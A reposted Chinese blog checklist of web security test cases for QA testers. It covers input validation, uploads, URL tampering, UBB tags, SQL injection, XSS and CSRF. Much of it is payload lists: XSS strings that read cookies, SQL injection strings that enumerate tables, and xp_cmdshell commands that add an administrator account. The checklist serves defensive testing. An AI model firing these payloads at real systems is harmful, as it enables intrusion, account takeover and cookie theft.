天天看點

常用安全測試用例

建立整體的威脅模型,測試溢出漏洞、資訊洩漏、錯誤處理、SQL 注入、身份驗證和授權錯誤。

1、輸入驗證

用戶端驗證 伺服器端驗證(禁用腳本調試,禁用Cookies)

1.輸入很大的數(如4,294,967,269),輸入很小的數(負數)

2.輸入超長字元,如對輸入文字長度有限制,則嘗試超過限制,剛好到達限制字數時有何反應

3.輸入特殊字元,如:~!@#$%^&*()_+<>:”{}|

4.輸入中英文空格,輸入字元串中間含空格,輸入首尾空格

5.輸入特殊字元串NULL,null,0x0d 0x0a

6.輸入正常字元串

7.輸入與要求不同類型的字元,如: 要求輸入數字則檢查正值,負值,零值(正零,負零),小數,字母,空值; 要求輸入字母則檢查輸入數字

8.輸入html和javascript代碼

9.對于像回答數這樣需檢驗數字正确性的測試點,不僅對比其與問題最終頁的回答數,還要對回答進行添加删除等操作後檢視變化

例如:

1.輸入<html”>”gfhd</html>,看是否出錯;

2.輸入<input type=”text” name=”user”/>,看是否出現文本框;

3.輸入<script type=”text/javascript”>alert(“提示”)</script>看是否出現提示。

關于上傳:

1.上傳檔案是否有格式限制,是否可以上傳exe檔案;

2.上傳檔案是否有大小限制,上傳太大的檔案是否導緻異常錯誤,上傳0K的檔案是否會導緻異常錯誤,上傳并不存在的檔案是否會導緻異常錯誤;

3.通過修改擴充名的方式是否可以繞過格式限制,是否可以通過壓包方式繞過格式限制;

4.是否有上傳空間的限制,是否可以超過空間所限制的大小,如将超過空間的大檔案拆分上傳是否會出現異常錯誤。

5.上傳檔案大小大于本地剩餘空間大小,是否會出現異常錯誤。

6.關于上傳是否成功的判斷。上傳過程中,中斷。程式是否判斷上傳是否成功。

7.對于檔案名中帶有中文字元,特殊字元等的檔案上傳。

下載下傳:

避免輸入:\..\web.

修改命名字尾。

關于URL:

1.某些需登入後或特殊使用者才能進入的頁面,是否可以通過直接輸入網址的方式進入;

2.對于帶參數的網址,惡意修改其參數,(若為數字,則輸入字母,或很大的數字,或輸入特殊字元等)後打開網址是否出錯,是否可以非法進入某些頁面;

3.搜尋頁面等url中含有關鍵字的,輸入html代碼或JavaScript看是否在頁面中顯示或執行。

4.輸入善意字元。

UBB:

[url=http://www.****.com] 你的網站[/url]

1.試着用各種方式輸入UBB代碼,比如代碼不完整,代碼嵌套等等.

2.在UBB代碼中加入屬性,如樣式,事件等屬性,看是否起作用

3.輸入編輯器中不存在的UBB代碼,看是否起作用

[url=alert('hello')]連結[ /url]

[email=alert('hello')]EMail[ /email]

[[email protected] STYLE="background-image: url(alert('XSS'))"][email protected][ /email]

[img]http://www.13fun.cn/2007713015578593_03.jpg style=”background-image:url(alert(‘alert(xss)’))”[ /img]

[img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg “onmouseover=alert(‘hello’);”[/img]

[b STYLE="background-image: url(alert('XSS'))"]一首詩酸澀澀服務網[ /b]

[i STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /i]

[u]一二三四五六七北京市[/u]

[font=微軟雅黑" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /font]

[size=4" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /size]

[color=Red" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /color]

[align=center" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /align]

[float=left" STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /float]

[font=微軟雅黑 STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /font]

[size=4 STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /size]

[color=Red STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /color]

[align=center STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /align]

[list=1]

[*]一二三四五六七北京市[/list]

[indent]一二三四五六七北京市[/indent]

[float=left STYLE="background-image: url(alert('XSS'))"]一二三四五六七北京市[ /float]

[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]

輸出編碼

常用的測試輸入語句有:

<input type=”text”/>

<input/>

<input/

<script>alert(‘hello’);</script>

1.jpg” onmouseover=”alert(‘xss’)

“></a><script>alert(‘xss’);</script>

http://xxx’;alert(‘xss’);var/ a=’a

‘”>xss&<

a=”\” ; b=”;alert(/xss/);//”

<img src=“輸出内容” border=“0” alt=“logo” />

“’”

‘”’

“””

“ “ “

“”“

“‘ ”

title=””

對輸出資料到輸出資料的對比,看是否出現問題。

防止SQL注入

Admin–

‘or ---–--

‘ and (  )  exec  insert  *  %  chr  mid

and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2

‘and 1=1  ; ‘And 1=1  ;  ‘aNd  1=1  ;

and 1=2  ;  ‘and 1=2

and 2=2

and user>0

and (select count(*) from sysobjects)>0

and (select count(*) from msysobjects)>0

and (Select Count(*) from Admin)>=0

and (select top 1 len(username) from Admin)>0(username 已知字段)

;exec master..xp_cmdshell “net user name password /add”—

;exec master..xp_cmdshell “net localgroup name administrators /add”—

and 0<>(select count(*) from admin)

簡單的如where xtype=’U’,字元U對應的ASCII碼是85,是以可以用where xtype=char(85)代替;如果字元是中文的,比如where name=’使用者’,可以用where name=nchar(29992)+nchar(25143)代替。

跨站腳本攻擊(XSS)

對于 XSS,隻需檢查 HTML 輸出并看看您輸入的内容在什麼地方。它在一個 HREF 标記中嗎?是否在 IFRAME 标記中?它在 CLSID 标記中嗎?在 IMG SRC 中嗎?某些 Flash 内容的 PARAM NAME 是怎樣的?

<a href="mailto:~!@#%24%25%5E&amp;*()_+">~!@#$%^&amp;*()_+&lt;&gt;,./?;’”[]{}\-</a>

%3Cinput /%3E

%3Cscript%3Ealert(‘XSS’)%3C/script%3E

&lt;script&gt;alert(‘xss’)&lt;/script&gt;

&lt;script&gt;alert(‘xss’);&lt;/script&gt;

&lt;/script&gt;&lt;script&gt;alert(‘xss’)&lt;/script&gt;

alert( /xss/)

javascrip&amp;#116&amp;#58alert(/xss/)

&lt;img src=”#” onerror=alert(/xss/)&gt;

&lt;img src=”#” style=”Xss:alert( /xss/));”&gt;

&lt;img src=”#”/**/onerror=alert(/xss/) width=100&gt;

=’&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;

”&gt;&lt;/a&gt;&lt;script&gt;alert(‘xss’);&lt;/script&gt;

’”&gt;xss&amp;&lt;

”onmouseover=alert(‘hello’);”

&amp;{alert(‘hello’);}

&gt;”‘&gt;&lt;script&gt;alert(‘XSS’)&lt;/script&gt;

&gt;%22%27&gt;&lt;img%20src%3d%22alert(%27XSS%27)%22&gt;&lt; /p&gt;

&gt;”‘&gt;&lt;img%20src%3D%26%23x6a;%26%23×61;%26%23×76;%26%23×61;%26%23×73;%26%23×63;%26%23×72;%26%23×69;%26%23×70;%26%23×74;%26%23x3a;alert(%26quot;XSS%26quot;)&gt;

AK%22%20style%3D%22url(javascript:alert(%27XSS%27))%22%20OS%22&lt; /p&gt;

%22%2Balert(%27XSS%27)%2B%22

&lt;table background=”alert(([code])"&gt;&lt; /table&gt;

&lt;object type=text/html data="alert(([code]);"&gt;&lt; /object&gt;

&lt;body /body&gt;

a?&lt;script&gt;alert(’Vulnerable’)&lt;/script&gt;

&lt;!--'"&gt;&amp;:

var from = ‘$!rundata.Parameters.getString(’from’)';

var from = ”;hackerFunction(document.cookie);”;

http://searchbox.mapbar.com/publish/template/template1010/?CID=qingke&amp;tid=tid1010&amp;cityName=天津&lt;script&gt;alert("hello")&lt;/script&gt;&amp;nid=MAPBXITBJRQMYWJRXPCBX

跨站請求僞造(CSRF)

同個浏覽器打開兩個頁面,一個頁面權限失效後,另一個頁面是否可操作成功。

當頁面沒有CHECKCODE時,檢視頁面源代碼,查是是否有token。如果頁面完全是展示頁面,是不會有token的。

本文轉自 小強測試幫 51CTO部落格,原文連結:http://blog.51cto.com/xqtesting/1311169,如需轉載請自行聯系原作者

繼續閱讀